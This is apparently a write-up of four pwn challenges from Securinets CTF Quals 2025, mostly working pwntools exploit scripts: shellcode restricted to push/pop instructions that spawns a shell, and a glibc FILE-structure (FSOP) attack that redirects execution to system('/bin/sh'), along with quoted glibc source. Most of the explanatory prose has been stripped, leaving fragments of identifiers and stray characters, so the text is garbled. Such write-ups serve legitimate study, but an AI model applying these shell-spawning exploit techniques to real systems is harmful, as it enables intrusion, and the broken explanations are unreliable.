┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Write-ups: Securinets CTF Quals 2025
~ CuB3y0nd
# zip++

## Information

- Category: Pwn
- Points: 500

## Description

> why isn't my compressor compressing ?!

## Write-up

 AI `compress`  `RLE (Run-Length Encoding)` 
 `[ 1][ 1][ 2][ 2]...`


## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "./main"
HOST, PORT = "pwn-14caf623.p1.securinets.tn", 9000

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b"AB" * 0xC6,
        b"xa6" * 0x11,
    )
    raw_input("DEBUG")
    target.sendafter(b"data to compress :", payload)
    raw_input("DEBUG")
    target.sendline(b"exit")

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`Securinets{my_zip_doesnt_zip}`]

# push pull pops

## Information

- Category: Pwn
- Points: 500

## Description

> Shellcoding in the big 25 😱

## Write-up

 python  pwn 使 `push`, `pop`  `int 3` 
 capstone  `None`使
 shellcode 

[X86 Opcode and Instruction Reference Home](http://ref.x86asm.net/co
der64.html)

 mmap  a
bort  `rsp`  m
map  `pop`  `push` 
 `nop` 

 python  `pid`  `gdb -p <pid>`
  mmap  shellcode `int 3` 


```python ins={14-17}
def run(code: bytes):
    # Allocate executable memory using mmap

    mem = mmap.mmap(
        -1, len(code), prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC
    )
    mem.write(code)

    # Create function pointer and execute
    func = ctypes.CFUNCTYPE(ctypes.c_void_p)(
        ctypes.addressof(ctypes.c_char.from_buffer(mem))
    )

    print(
        f"pid is: {os.getpid()}nmem: {hex(ctypes.addressof(ctypes.c_char.from_bu
ffer(mem)))}"
    )
    input("DEBUG")
    func()

    exit(1)
```

## Exploit

```python
#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    asm,
    b64e,
    context,
    flat,
    process,
    raw_input,
    remote,
    shellcraft,
)

parser = argparse.ArgumentParser()
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for Q
EMU")
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread coun
t")
args = parser.parse_args()


FILE = "./main.py"
HOST, PORT = "localhost", 1337

context(log_level="debug", terminal="kitty", arch="amd64")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError("Options -L and -T cannot be used together.")

    if args.local:
        if args.gdb and "qemu" in argv[0]:
            if "-g" not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, "-g")
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads <= 0:
            raise ValueError("Thread count must be positive.")
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    payload = asm(
        """
        push r11
        pop rsp

        pop r15
        pop r15
        pop r15
        pop r15

        push r15
        push r15
        push r15
        """
    )

    payload += b"x06" + asm(shellcraft.nop()) * 0xF
    payload += asm("add rsp, 0x100")
    payload += asm(shellcraft.sh())

    target.sendline(b64e(payload))

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`Securinets{push_pop_to_hero}`]

# push pull pops REVENGE

## Information

- Category: Pwn
- Points: 500

## Description

> you aint getting away with it , not on my watch .

## Write-up



```python
if code_len != decoded:
    print("nice try")
    return False
```

 ban 使 semantically equivalent encodings 


 `syscall` `read` shellcode 


 solution  `read` wp `syscall` 
 `push``pop` 
<s> `sysca
ll`</s>

 mmap  `rwx`  `syscall` 
 `read` 

:::caution
 `sy
scall`  docker 

:::

 `gdbserver`
 `1234` 

```dockerfile del={1} ins={2}
CMD socat TCP-LISTEN:5000,reuseaddr,fork EXEC:/app/run
CMD ["gdbserver", ":1234", "socat", "TCP-LISTEN:5000,reuseaddr,fork", "EXEC:/app
/run"]
```

 `docker-compose.yml` 

```yaml ins={8}
version: "3.8"

services:
  vertical_tables:
    build: .
    ports:
      - "1304:5000"
      - "1234:1234"
    deploy:
      resources:
        limits:
          cpus: "1"
          memory: 1000M
    read_only: true
    cap_drop:
      - all
    privileged: true
```

 `docker compose up -d`  exp  `1304` 


 `syscall`

```shellsession
λ ~/ pwn asm -c amd64 "syscall"
0f05
```

 `x0f`  `x05`  `x0
5`
 `x0f`

 `syscall` `amd64`  `x0f
` `0x0f00000000000000`
 `x0f`  `push` or `pop` 
 `push` or `pop`  `x0f` 
 `x05`  `push`  `syscall`
 `syscall`
 `syscall` 
CPU 


 `pop fs` `push fs` 
 exp  `0x4d`  `pop r15`  `x05`
 `r15` 
 `read` `rax`  `0`
 `rdi` `rdx``rsi`  shellcode 


 shellcode `push``pop`  
`x05` 

## Exploit

```python
#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    asm,
    b64e,
    context,
    flat,
    process,
    raw_input,
    remote,
    shellcraft,
    sleep,
)

parser = argparse.ArgumentParser()
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for Q
EMU")
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread coun
t")
args = parser.parse_args()


FILE = "./main.py"
HOST, PORT = "localhost", 1304

context(log_level="debug", terminal="kitty", arch="amd64")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError("Options -L and -T cannot be used together.")

    if args.local:
        if args.gdb and "qemu" in argv[0]:
            if "-g" not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, "-g")
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads <= 0:
            raise ValueError("Thread count must be positive.")
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=False)


def main():
    launch()

    payload = asm("pop r15") * 0x4D
    payload += asm(
        """
        pop rsp
        pop r15

        push rax
        pop rdi
        """
    )
    payload += asm("pop rbx") * 0x14
    payload += asm("pop rdx")
    payload += asm("push rbx") * 0x1B
    payload += asm(
        """
        push r11
        pop rsi

        push r11
        pop rsp
        """
    )
    payload += asm("pop rbx") * 0x20
    payload += asm("push r15")
    payload += b"x0fxa1"

    target.sendline(b64e(payload))
    target.sendline()

    sc = asm(shellcraft.nop() * 0x150 + shellcraft.sh())
    sleep(1)
    target.sendline(sc)

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag



# V-tables

## Information

- Category: Pwn
- Points: 500

## Description

> idk

## Write-up

 FSOP……

[ wp](https://buddurid.me/2025/10/04/securinets-quals-2025)


 IDA

```c
void __fastcall setup(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
}

__int64 vuln()
{
  printf("stdout : %pn", stdout);
  read(0, stdout, 0xD8u);
  return 0;
}

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  vuln();
  return 0;
}
```

 libc  `stdout`  `0xD8` 
 `_IO_FILE`  `vtable`  Hou
se of Apple 




 `main`  `exit`
 `exit` 


[exit](https://sourcegraph.com/github.com/bminor/glibc@release/2.41/master/-/blo
b/stdlib/exit.c?L146:1-146:5) 

```c {4}
void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)
```

 [__run_exit_handlers](https://sourcegraph.com/github.com/bminor/glibc
@release/2.41/master/-/blob/stdlib/exit.c?L43:1-43:20)

```c collapse={1-98} {102}
/* Call all functions registered with `atexit' and `on_exit',
   in the reverse of the order in which they were registered
   perform stdio cleanup, and terminate program execution with STATUS.  */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
       bool run_list_atexit, bool run_dtors)
{
  /* The exit should never return, so there is no need to unlock it.  */
  __libc_lock_lock_recursive (__exit_lock);

  /* First, call the TLS destructors.  */
  if (run_dtors)
    call_function_static_weak (__call_tls_dtors);

  __libc_lock_lock (__exit_funcs_lock);

  /* We do it this way to handle recursive calls to exit () made by
     the functions registered with `atexit' and `on_exit'. We call
     everyone on the list and use the status value in the last
     exit (). */
  while (true)
    {
      struct exit_function_list *cur;

    restart:
      cur = *listp;

      if (cur == NULL)
 {
   /* Exit processing complete.  We will not allow any more
      atexit/on_exit registrations.  */
   __exit_funcs_done = true;
   break;
 }

      while (cur->idx > 0)
 {
   struct exit_function *const f = &cur->fns[--cur->idx];
   const uint64_t new_exitfn_called = __new_exitfn_called;

   switch (f->flavor)
     {
       void (*atfct) (void);
       void (*onfct) (int status, void *arg);
       void (*cxafct) (void *arg, int status);
       void *arg;

     case ef_free:
     case ef_us:
       break;
     case ef_on:
       onfct = f->func.on.fn;
       arg = f->func.on.arg;
       PTR_DEMANGLE (onfct);

       /* Unlock the list while we call a foreign function.  */
       __libc_lock_unlock (__exit_funcs_lock);
       onfct (status, arg);
       __libc_lock_lock (__exit_funcs_lock);
       break;
     case ef_at:
       atfct = f->func.at;
       PTR_DEMANGLE (atfct);

       /* Unlock the list while we call a foreign function.  */
       __libc_lock_unlock (__exit_funcs_lock);
       atfct ();
       __libc_lock_lock (__exit_funcs_lock);
       break;
     case ef_cxa:
       /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
   we must mark this function as ef_free.  */
       f->flavor = ef_free;
       cxafct = f->func.cxa.fn;
       arg = f->func.cxa.arg;
       PTR_DEMANGLE (cxafct);

       /* Unlock the list while we call a foreign function.  */
       __libc_lock_unlock (__exit_funcs_lock);
       cxafct (arg, status);
       __libc_lock_lock (__exit_funcs_lock);
       break;
     }

   if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
     /* The last exit function, or another thread, has registered
        more exit functions.  Start the loop over.  */
     goto restart;
 }

      *listp = cur->next;
      if (*listp != NULL)
 /* Don't free the last element in the chain, this is the statically
    allocate element.  */
 free (cur);
    }

  __libc_lock_unlock (__exit_funcs_lock);

  if (run_list_atexit)
    call_function_static_weak (_IO_cleanup);

  _exit (status);
}
```

西 [_IO_cleanup](https://sourcegraph.com/github.com/
bminor/glibc@release/2.41/master/-/blob/libio/genops.c?L873:1-873:12) 
 `IO` 

```c {15} ins={"1. Make sure set fp->_flags = 0x8 to bypass _IO_OVERFLOW called 
in": 4} ins={"   this function which modifies _IO_2_1_stdout_ fields": 5-6}
int
_IO_cleanup (void)
{


  int result = _IO_flush_all ();

  /* We currently don't have a reliable mechanism for making sure that
     C++ static destructors are executed in the correct order.
     So it is possible that other static destructors might want to
     write to cout - and they're supposed to be able to do so.

     The following will make the standard streambufs be unbuffered,
     which forces any output from late destructors to be written out. */
  _IO_unbuffer_all ();

  return result;
}
```

 [_IO_flush_all](https://sourcegraph.c
om/github.com/bminor/glibc@release/2.41/master/-/blob/libio/genops.c?L711:1-711:
14)  [_IO_unbuffer_all](https://sourcegraph.com/github.com/bminor/glibc@fb
4db64a04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/genops.c?L797:1-797:17)

 `_IO_flush_all`  `_IO_O
VERFLOW` `_IO_do_write` `main` 
 `_IO_cleanup->_IO_flush_all` flush `_IO_2_1_stdout_` 
 `_IO_write_base`  `_IO_2_1_stdin_`  s
ize  `f->_IO_write_ptr - f->_IO_write_base` 
 `_IO_do_write` `_IO_2_1_stdin_`  `vtable`, 
 `_IO_list_all`  `stderr->stdout->stdin` flush  `s
tdout`  flush `stdin`  `vtable` 

`_IO_do_write (f, f->_IO_write_base, f->_IO_write_pt
r - f->_IO_write_base)->_IO_SYSWRITE (fp, data, to_do)->__write (f->_fileno, dat
a, to_do)` flush  `_fileno` ……


 `_chain`  `+0x8` 
 `+0x8` `vtable` `_f
lags` 

 [_IO_unbuffer_all](https://sourcegraph.com/github.com/bminor/glibc@
fb4db64a04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/genops.c?L797:1-797:17) 


```c {43} ins={"2. We just need bypass fp->_mode != 0 here": 29-32} collapse={1-
25, 36-39, 47-62}
static void
_IO_unbuffer_all (void)
{
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif

  for (fp = (FILE *) _IO_list_all; fp; fp = fp->_chain)
    {
      int legacy = 0;

      run_fp = fp;
      _IO_flockfile (fp);

#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
      if (__glibc_unlikely (_IO_vtable_offset (fp) != 0))
 legacy = 1;
#endif

      /* Free up the backup area if it was ever allocated.  */
      if (_IO_have_backup (fp))
 _IO_free_backup_area (fp);
      if (!legacy && fp->_mode > 0 && _IO_have_wbackup (fp))
 _IO_free_wbackup_area (fp);


      if (! (fp->_flags & _IO_UNBUFFERED)
   /* Iff stream is un-orientated, it wasn't used. */
   && (legacy || fp->_mode != 0))
 {
   if (! legacy && ! dealloc_buffers && !(fp->_flags & _IO_USER_BUF))
     {
       fp->_flags |= _IO_USER_BUF;

       fp->_freeres_list = freeres_list;
       freeres_list = fp;
       fp->_freeres_buf = fp->_IO_buf_base;
     }

   _IO_SETBUF (fp, NULL, 0);

   if (! legacy && fp->_mode > 0)
     _IO_wsetb (fp, NULL, NULL, 0);
 }

      /* Make sure that never again the wide char functions can be
  used.  */
      if (! legacy)
 fp->_mode = -1;

      _IO_funlockfile (fp);
      run_fp = NULL;
    }

#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
}
```

沿 [_IO_SETBUF](https://sourcegraph.com/github.com/bminor/glibc@fb4db64a
04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/genops.c?L477:1-477:19) 
西

```c {4}
FILE *
_IO_default_setbuf (FILE *fp, char *p, ssize_t len)
{
    if (_IO_SYNC (fp) == EOF)
 return NULL;
    if (p == NULL || len == 0)
      {
 fp->_flags |= _IO_UNBUFFERED;
 _IO_setb (fp, fp->_shortbuf, fp->_shortbuf+1, 0);
      }
    else
      {
 fp->_flags &= ~_IO_UNBUFFERED;
 _IO_setb (fp, p, p+len, 0);
      }
    fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = NULL;
    fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_read_end = NULL;
    return fp;
}
```

 [_IO_SYNC](https://sourcegraph.com/github.com/bminor/glibc@fb4db64a04ad6c96
cd1fbb7e02eb59323b1f2ac2/-/blob/libio/fileops.c?L793:1-793:18) 

```c {10} ins={"3. Make sure fp->_IO_write_ptr > fp->_IO_write_base": 7-9}
int
_IO_new_file_sync (FILE *fp)
{
  ssize_t delta;
  int retval = 0;


  /*    char* ptr = cur_ptr(); */
  if (fp->_IO_write_ptr > fp->_IO_write_base)
    if (_IO_do_flush(fp)) return EOF;
  delta = fp->_IO_read_ptr - fp->_IO_read_end;
  if (delta != 0)
    {
      off64_t new_pos = _IO_SYSSEEK (fp, delta, 1);
      if (new_pos != (off64_t) EOF)
 fp->_IO_read_end = fp->_IO_read_ptr;
      else if (errno == ESPIPE)
 ; /* Ignore error from unseekable devices. */
      else
 retval = EOF;
    }
  if (retval != EOF)
    fp->_offset = _IO_pos_BAD;
  /* FIXME: Cleanup - can this be shared? */
  /*    setg(base(), ptr, ptr); */
  return retval;
}
libc_hidden_ver (_IO_new_file_sync, _IO_file_sync)
```

 [_IO_do_flush](https://sourcegraph.com/github.com/bminor/glibc@fb4db64a04
ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/libioP.h?L562:9-562:21)
 `mode`  `1` [_IO_wdo_write](https://sourcegraph.com/g
ithub.com/bminor/glibc@fb4db64a04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/wfi
leops.c?L38:1-38:14)

```c {5-7}
#define _IO_do_flush(_f)                                        
  ((_f)->_mode <= 0                                             
   ? _IO_do_write(_f, (_f)->_IO_write_base,                     
    (_f)->_IO_write_ptr-(_f)->_IO_write_base)                   
   : _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base,        
     ((_f)->_wide_data->_IO_write_ptr                           
      - (_f)->_wide_data->_IO_write_base)))
```

 [_IO_wdo_write](https://sourcegraph.com/github.com/bminor/glibc@fb4db64a04a
d6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/wfileops.c?L38:1-38:14) 


```c del={42-46} ins={"4. We need enter this conditional statement, which requir
es": 8} ins={"   ((_f)->_wide_data->_IO_write_ptr - (_f)->_wide_data->_IO_write_
base)) > 0": 9-10} collapse={14-38, 50-76}
/* Convert TO_DO wide character from DATA to FP.
   Then mark FP as having empty buffers. */
int
_IO_wdo_write (FILE *fp, const wchar_t *data, size_t to_do)
{
  struct _IO_codecvt *cc = fp->_codecvt;



  if (to_do > 0)
    {
      if (fp->_IO_write_end == fp->_IO_write_ptr
   && fp->_IO_write_end != fp->_IO_write_base)
 {
   if (_IO_new_do_write (fp, fp->_IO_write_base,
    fp->_IO_write_ptr - fp->_IO_write_base) == EOF)
     return WEOF;
 }

      do
 {
   enum __codecvt_result result;
   const wchar_t *new_data;
   char mb_buf[MB_LEN_MAX];
   char *write_base, *write_ptr, *buf_end;

   if (fp->_IO_buf_end - fp->_IO_write_ptr < sizeof (mb_buf))
     {
       /* Make sure we have room for at least one multibyte
   character.  */
       write_ptr = write_base = mb_buf;
       buf_end = mb_buf + sizeof (mb_buf);
     }
   else
     {
       write_ptr = fp->_IO_write_ptr;
       write_base = fp->_IO_write_base;
       buf_end = fp->_IO_buf_end;
     }

   /* Now convert from the internal format into the external buffer.  */
   result = __libio_codecvt_out (cc, &fp->_wide_data->_IO_state,
     data, data + to_do, &new_data,
     write_ptr,
     buf_end,
     &write_ptr);

   /* Write out what we produced so far.  */
   if (_IO_new_do_write (fp, write_base, write_ptr - write_base) == EOF)
     /* Something went wrong.  */
     return WEOF;

   to_do -= new_data - data;

   /* Next see whether we had problems during the conversion.  If yes,
      we cannot go on.  */
   if (result != __codecvt_ok
       && (result != __codecvt_partial || new_data - data == 0))
     break;

   data = new_data;
 }
      while (to_do > 0);
    }

  _IO_wsetg (fp, fp->_wide_data->_IO_buf_base, fp->_wide_data->_IO_buf_base,
      fp->_wide_data->_IO_buf_base);
  fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr
    = fp->_wide_data->_IO_buf_base;
  fp->_wide_data->_IO_write_end = ((fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED)
)
       ? fp->_wide_data->_IO_buf_base
       : fp->_wide_data->_IO_buf_end);

  return to_do == 0 ? 0 : WEOF;
}
libc_hidden_def (_IO_wdo_write)
```

 [DL_CALL_FCT](https://sourcegraph.com/github.com/MisterTea/Hype
rNEAT@516fef725621991ee709eb9b4afe40e0ce82640d/-/blob/NE/HyperNEAT/Hypercube_NEA
T/include/Experiments/HCUBE_cliche.h?L59:9-59:20) 
 overlapping 

 `gs`  `/bin/sh`  `__fct`  `system`
 `/bin/sh` 
 `PTR_DEMANGLE (fct)` `PTR_DEMANGLE (fct)`  `/bin/sh`
使 `r15`
…… `__fct`
`/bin/sh`  `add rdi, 0x10; jmp rcx`  gadget 

```c del={1, 26-29} del={"5. Make sure codecvt->__cd_out.step = b'/bin/shx00'": 
11-12} del={"6. Make sure gs->__fct = system": 21-22} collapse={33-52}
#define DL_CALL_FCT(fctp, args) (fctp) args

enum __codecvt_result
__libio_codecvt_out (struct _IO_codecvt *codecvt, __mbstate_t *statep,
       const wchar_t *from_start, const wchar_t *from_end,
       const wchar_t **from_stop, char *to_start, char *to_end,
       char **to_stop)
{
  enum __codecvt_result result;


  struct __gconv_step *gs = codecvt->__cd_out.step;
  int status;
  size_t dummy;
  const unsigned char *from_start_copy = (unsigned char *) from_start;

  codecvt->__cd_out.step_data.__outbuf = (unsigned char *) to_start;
  codecvt->__cd_out.step_data.__outbufend = (unsigned char *) to_end;
  codecvt->__cd_out.step_data.__statep = statep;


  __gconv_fct fct = gs->__fct;
  if (gs->__shlib_handle != NULL)
    PTR_DEMANGLE (fct);

  status = DL_CALL_FCT (fct,
   (gs, &codecvt->__cd_out.step_data, &from_start_copy,
    (const unsigned char *) from_end, NULL,
    &dummy, 0, 0));

  *from_stop = (wchar_t *) from_start_copy;
  *to_stop = (char *) codecvt->__cd_out.step_data.__outbuf;

  switch (status)
    {
    case __GCONV_OK:
    case __GCONV_EMPTY_INPUT:
      result = __codecvt_ok;
      break;

    case __GCONV_FULL_OUTPUT:
    case __GCONV_INCOMPLETE_INPUT:
      result = __codecvt_partial;
      break;

    default:
      result = __codecvt_error;
      break;
    }

  return result;
}
```

 `rcx`  `system``rcx` 
 `jmp rcx` 
 [_IO_wdo_write](https://sourcegraph.com/github.co
m/bminor/glibc@fb4db64a04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/libioP.h?L5
66)  `lea rcx, [r12 + r13*4]``rcx`  `__fct` 

 `rcx`  `r12 = system, r13 = 0`
 `r12 = 0, r13 = system // 4` `r12`  `rsi` `(_f)->
_wide_data->_IO_write_base` overlapping 
 `r13 = system // 4` `r13`  `rdx` `(_f)->_wi
de_data->_IO_write_ptr - (_f)->_wide_data->_IO_write_base`

 `system` `rsi` 
 `rdx` `rdx` ……
YAAAY

## Exploit

```python
#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    ROP,
    FileStructure,
    context,
    flat,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for Q
EMU")
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread coun
t")
args = parser.parse_args()


FILE = "./main_patched"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = elf.libc
rop = ROP(libc)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError("Options -L and -T cannot be used together.")

    if args.local:
        if args.gdb and "qemu" in argv[0]:
            if "-g" not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, "-g")
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads <= 0:
            raise ValueError("Thread count must be positive.")
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b"stdout : ")
    stdout = int(target.recvline(), 16)
    libc.address = stdout - libc.sym["_IO_2_1_stdout_"]
    add_rdi_0x10_jmp_rcx = libc.address + 0x000000000017D690
    system = libc.sym["system"]

    fp = FileStructure(null=stdout + 0x1260)
    fp.flags = 0x8
    fp.unknown2 = flat(
        {
            0x18: 0x1,  # fp->_mode
        },
        filler=b"x00",
    )
    fp._IO_write_ptr = 1
    fp._IO_write_base = 0
    fp._wide_data = stdout - 0x8
    fp._codecvt = stdout + 0x28  # codecvt
    fp._IO_save_end = stdout + 0x8
    fp._IO_read_base = system // 0x4 << 0x2  # rdx
    fp.markers = stdout + 0x20  # gs->__shlib_handle
    fp._IO_save_base = add_rdi_0x10_jmp_rcx  # gs->__fct
    fp._IO_write_end = b"/bin/shx00"

    raw_input("DEBUG")
    target.send(bytes(fp))

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag